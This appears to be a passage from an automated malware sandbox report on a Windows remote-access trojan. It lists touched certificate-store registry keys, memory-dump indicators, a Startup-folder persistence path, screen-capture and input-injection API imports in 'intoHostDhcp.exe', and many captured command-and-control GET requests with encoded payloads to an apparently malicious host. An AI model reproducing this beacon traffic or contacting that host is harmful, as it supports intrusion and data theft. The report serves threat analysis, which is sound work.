WSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ruConnection: Keep-Alive"69:Ta03,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")6a:T47e,Found string "GetExecutingAssembly" (Indicator: "GetExecutingAssembly"; Source: "00000000-00001840.00000002.203408.00590000.00000004.mdmp, 00000000-00001840.00000002.203408.00A50000.00000004.mdmp, 00000000-00001840.00000002.203408.00DA0000.00000004.mdmp") Found string "GetExecutingAssembly" (Indicator: "GetExecutingAssembly"; Source: "00000000-00003744.00000000.198316.00E70000.00000004.mdmp, 00000000-00003744.00000001.200239.00470000.00000004.mdmp, 00000000-00003744.00000001.200239.00500000.00000004.mdmp, 00000000-00003744.00000001.200239.00510000.00000004.mdmp, 00000000-00003744.00000001.200239.00550000.00000004.mdmp, 00000000-00003744.00000001.200239.006E0000.00000004.mdmp, 00000000-00003744.00000001.200239.00EE0000.00000004.mdmp, 00000000-00003744.00000001.200239.00F80000.00000004.mdmp, 00000000-00003744.00000001.200239.00F90000.00000004.mdmp, 00000000-00003744.00000001.200239.00FA0000.00000004.mdmp, 00000000-00003744.00000002.200345.00520000.00000004.mdmp, 00000000-00003744.00000002.200345.00ED0000.00000004.mdmp, 00000000-00003744.00000002.200345.00F70000.00000004.mdmp, 00000000-00003744.00000002.200345.02840000.00000004.mdmp")6b:T53e,"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00003744.00000001.200239.00D70000.00000004.mdmp 00000000-00003744.00000001.200239.1B4E0000.00000002.mdmp 00000000-00003744.00000002.200345.00D70000.00000004.mdmp ":\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00003744.00000001.200239.00D70000.00000004.mdmp 00000000-00003744.00000002.200345.00D70000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00003744.00000001.200239.1B4E0000.00000002.mdmp 00000000-00003744.00000001.200239.1D70C000.00000004.mdmp 00000000-00003744.00000002.200345.1D70C000.00000004.mdmp ":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00003744.00000001.200239.1D74B000.00000004.mdmp 00000000-00003744.00000002.200345.1D74B000.00000004.mdmp6c:T64c,Observed unmanaged function "EnumDisplaySettings" in "intoHostDhcp.exe" Observed unmanaged function "GetMessageExtraInfo" in "intoHostDhcp.exe" Observed unmanaged function "CloseHandle" in "intoHostDhcp.exe" Observed unmanaged function "DestroyIcon" in "intoHostDhcp.exe" Observed unmanaged function "DeleteObject" in "intoHostDhcp.exe" Observed unmanaged function "SelectObject" in "intoHostDhcp.exe" Observed unmanaged function "CreateCompatibleDC" in "intoHostDhcp.exe" Observed unmanaged function "GetDesktopWindow" in "intoHostDhcp.exe" Observed unmanaged function "BitBlt" in "intoHostDhcp.exe" Observed unmanaged function "CreateDC" in "intoHostDhcp.exe" Observed unmanaged function "DeleteDC" in "intoHostDhcp.exe" Observed unmanaged function "SetCursorPos" in "intoHostDhcp.exe" Observed unmanaged function "mouse_event" in "intoHostDhcp.exe" Observed unmanaged function "QueryFullProcessImageName" in "intoHostDhcp.exe" Observed unmanaged function "GetCursorInfo" in "intoHostDhcp.exe" Observed unmanaged function "CopyIcon" in "intoHostDhcp.exe" Observed unmanaged function "GetIconInfo" in "intoHostDhcp.exe" Observed unmanaged function "GetForegroundWindow" in "intoHostDhcp.exe" Observed unmanaged function "GetWindowText" in "intoHostDhcp.exe" Observed unmanaged function "waveInGetNumDevs" in "intoHostDhcp.exe" Observed unmanaged function "waveInGetDevCaps" in "intoHostDhcp.exe" Observed unmanaged function "SendInput" in "intoHostDhcp.exe" Observed unmanaged function "SuspendThread" in "intoHostDhcp.exe" Observed unmanaged function "ResumeThread" in "intoHostDhcp.exe"6d:Ta2c4,"GET /c7cfea12.php?oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo&055ab678506a51d9a2618d6e594675d9=de30911230ba06f0c4eecc25808b6efa&b848766e36d4a1661b389dd1d9eb622e=wMxUTY4czNxImZ0IjNllTNhJWOzUGZ1ImZyYWYlFWOyIWYzgzYxUWO&oRO9crdKEhl8=t0TBCvKV62&4Ox=IkDfuo HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2112 Connection: keep-alive Vary: Accept-Encoding with response body ==>3D3D5166696B7A597745574D68687A4E79416A4D31556A4E30497A4D6A42445A6942544E695A545A3445544D6B4A574F696F6A4979496A4E6B4E324D3259475A....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive with response body ==>....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=d1nIkJ1VaBjSYlFMOhUS1xmMaFDeHV1ZwMUSOZURJRTUq90dJp2T0E0QOlXQq1kdBpXT2lleXJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIhdDZ5MWNzUTNxQWNjVmNzQjZ3MjYmZzNlNTMiBjN4MWM0gDOxQWYwIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive with response body ==>....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI2EjYxgTYxEWY2ITZ5MmYiFDMilTOxQDMiRDO3IDNiVjNzEjM4MTYmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive with response body ==>3D3D5166394A69493649534E31496D5A6B4E444D344D474E33493259694A445A7751574F3555324E6968444F314D6D5A7A49445A354979653649794E316B7A4D....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nIzAjZiZTZmRGN2IjNyQTZhRTMllDZ4UDOllTYzQGZhJjZxEzYzEmZkJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive with response body ==>3D3D5166394A69493649794D35496D4E784D6D4E6C426A597945475A30496D5A324154596B466A4E7A4D54596B52474E7A55324E774979653649794E316B7A4D....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive with response body ==>....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive with response body ==>3D3D5166394A69493649434F6A52544F3245544D6C6C6A5A31556D4E35635459695A7A597959444E3255445A774D574E3151544D694A79653649794E316B7A4D....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=0VfiAjbJpnVtJGbOJTVjhHbjxmQYl1d4dkYoRmRYNmSXpFW4ZEW6R2MitWNXFGW4ZEW200aJZTSDFGMGdUVpdXaJVHZzIWd01mYWpUaPl2ZHRGaCZkW5ljMZpHbHJVa3lWSp9maJ9mUYlVUxcVW5R2VaNnVHZVa3lWSp9maJpnQINmQxcVWsJ1MVl2dplUdkNjY1RXbiZlSp9UaRV1U5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWSYpleWZlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJlnW1Z0RURnRXpFMOxWSzlUaiNTOtJmc1clVp9maJ9mUYlVUxcVWsJ1MVl2dplUavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive with response body ==>....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive with response body ==>....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=0VfiAjbJpnVtJGbOJTVjhHbjxmQYl1d4dkYoRmRYNmSXpFW4ZEW6R2MitWNXFGW4ZEW200aJZTSDFGMGdUVpdXaJVHZzIWd01mYWpUaPl2ZHRGaCZkW5ljMZpHbHJVa3lWSp9maJ9mUYlVUxcVW5R2VaNnVHZVa3lWSp9maJpnQINmQxcVWsJ1MVl2dplUdkNjY1RXbiZlSp9UaRV1U5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWSYpleWZlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJlnW1Z0RURnRXpFMOxWSzlUaiNTOtJmc1clVp9maJ9mUYlVUxcVWsJ1MVl2dplUavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru" Response ==> 